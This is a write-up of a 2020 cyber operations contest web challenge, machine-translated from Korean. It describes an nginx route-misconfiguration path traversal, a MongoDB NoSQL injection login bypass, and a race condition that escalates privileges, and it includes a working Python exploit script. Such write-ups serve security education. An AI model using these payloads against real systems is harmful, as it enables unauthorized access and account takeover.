2020 Cyber Operations Contest - Intranet Writeup
Privilege escalation using Nginx route configuration error, NoSQL Injection, and Race Condition
This post was machine-translated from Korean by AI. Some expressions may differ from the original.
Read the original (Korean)|
Problem |
Category |
Score |
|
|
1.3 Intranet |
web |
? |
|
|
In the exposed internal site of the enemy state's biochemical research lab, hijack administrator privileges and explore the internal system. |
|||
|
Solution Procedure |
|
||
|
Answer |
flag{This_is_top_secret_dont_you_agree} |
||
|
Walkthrough |
|||
![]() There is a sign up / sign in page. ![]() After signing up and logging in, if you go to mypage, you can confirm that perm is Guest. ![]() At this point, a request is made to /api/static/{:userid}. Given this and the fact that the server is nginx, we can hypothesize that a file leak might occur due to an incorrect route configuration. ![]() As shown, if you request /api/static../User.js, due to the incorrect route configuration in nginx, you can escape the static directory and access files that should normally be inaccessible, allowing you to obtain the server-side code. const signin = (req, res) => { User .findOne({ userid: req.body.userid, password: req.body.password }) .then(user => { if (!user) { res.status(406); res.send(); } else { res.status(200); control .sign({ id: user.userid }) .then(tok => { res.send(JSON.stringify({ username: user.userid, token: tok }))} ); }}) .catch(err => { res.status(500); res.send(JSON.stringify({ reason: { html: err } })); }); };
Looking at the login section of the server-side code, we can see that it searches using the id and password received from the user as keys via the .findOne method of the mongo db Model.
However, because the findOne method is used and the server is configured with app.use( bodyParser.urlencoded({ extended: true }) );, the user can pass an Object directly. This causes a nosql injection. If a request is made like {"userid":"admin","password":{"$gt":""}}, login becomes possible without knowing the admin password.
Since we obtained the admin token via nosql injection, if we replace the token in local storage with the admin token, we can verify that we are logged in as admin as shown below.
![]()
However, in this challenge, the real admin must be level=2 or higher. ![]()
![]()
In this situation, the auth behavior is somewhat strange. If the correct division_number is entered, and the currently connected account's level is 0, it increments that account's level by 1. ![]()
The division_number is unknown, but similarly, we can raise the level using nosql injection.
Additionally, since the code uses the .findOne function in the Division model to find a value and then uses .updateOne to update it, we identified the possibility that sending the request twice quickly could trigger a race condition, causing the level to increment twice.
#-*- coding:utf-8 -*- import requests import sys import time import re import string import datetime import json, os, sys, html, zlib from arang import * from concurrent.futures import ThreadPoolExecutor from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
packet='''POST http://3.35.40.133/api/signup HTTP/1.1 Host: 3.35.40.133 Connection: keep-alive Content-Length: 42 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Content-Type: application/json;charset=UTF-8 Origin: http://3.35.40.133 Referer: http://3.35.40.133/signup Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
'''
s = requests.session()
def raceCondition(args): global pp,s u = 'http://3.35.40.133/api/auth' data = {"division_number":{"$gt":""}} r = s.post(u, data=json.dumps(data), headers=pp.headers) print('--------------') print(r.content) print('--------------')
for i in range(1,1000): # signup pp = parsePacket(packet.format(i)) pp.proxies="127.0.0.1:8888" data = {"userid":"arat0{:03d}".format(i),"password":"dkfkd31231"} r = s.post(pp.url, data=json.dumps(data), headers=pp.headers) if r.status_code==200: # signin u = "http://3.35.40.133/api/signin" data = {"userid":"arat0{:03d}".format(i),"password":{"$gt":""}} r = s.post(u, data=json.dumps(data), headers=pp.headers) if r.status_code==200: rj = json.loads(r.content) pp.headers['x-access-token'] = rj['token']
with ThreadPoolExecutor(3) as pool: t=[1,2,3,4,5] ret = [x for x in pool.map(raceCondition,t)]
Through the exploit code that triggers the race condition as shown above, we can increment the level twice. ![]() We confirmed that the auth request was indeed made twice, and upon logging in with that account... ![]() ...we can see that it has changed to admin. ![]() Flag Acquired |
|||











Comments